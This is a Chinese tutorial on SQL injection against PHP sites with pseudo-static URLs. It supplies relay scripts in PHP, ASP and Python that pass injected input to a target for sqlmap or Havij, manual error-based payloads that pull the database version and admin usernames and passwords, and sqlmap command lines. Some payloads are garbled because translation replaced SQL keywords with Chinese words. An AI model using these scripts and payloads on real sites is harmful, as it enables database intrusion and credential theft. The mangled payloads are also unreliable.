這篇文章主要介紹了PHP針對偽靜態的注入,結合實例形式總結分析了php針對偽靜態的常見注入情況,並附帶asp與Python的相關操作代碼,對於php程序安全有一定借鑒價值,需要的朋友可以參考下
本文實例講述了PHP針對偽靜態的注入。分享給大家供大家參考,具體如下:
一:中轉注入法
1.透過http://www.xxx. com/news.php?id=1做了偽靜態之後就成這樣了
http://www.xxx.com/news.php/id/1.html
2.測試步驟:
中轉注入的php程式碼:inject.php
<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
3.本地環境搭建PHP,然後造訪http://127.0. 0.1/inject.php?id=1
透過sqlmap或havj可以跑注入漏洞。
附錄ASP中轉程式碼:
<% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %>
#二、手工注入法
#1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html
2.測試注入:http://www.xxx.com/down/html/?772′.html#http://www.xxx.com /play/Diablo'.htmlhttp ://www.xxx.com/play/Diablo'/**/和###/**/1='1 /*.html
http://www.xxx.com/play/Diablo'/ **/和###/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/和/**/1=1/*.html正常
http://www.xxx.com/page/html/?56'/**/和/**/(SELECT/**/1/**/(選擇/**/從/**/count(* ),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/團體/**/a)b)=1/*.html「手動注入法(二)
http://www.xxx.net /news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/1/**/(選擇/**/concat(用戶名,0x3a,密碼)/**/select/**/pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/經過/**/where'1'='1.html
偽靜態的注入和URL的普通GET注入不太相同。普通url的get注入的 ,#, 等都可以用;但是偽靜態不行,會被直接傳遞到url中,所以用/**&*/limit/**&*&*&*&*&*/a)b/**&*/這個註解符號表示空格。
三、SQLmap方法 #在sqlmap中偽靜態哪裡存在註入點就加*#http:// www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″#http://www .xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html” #from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()
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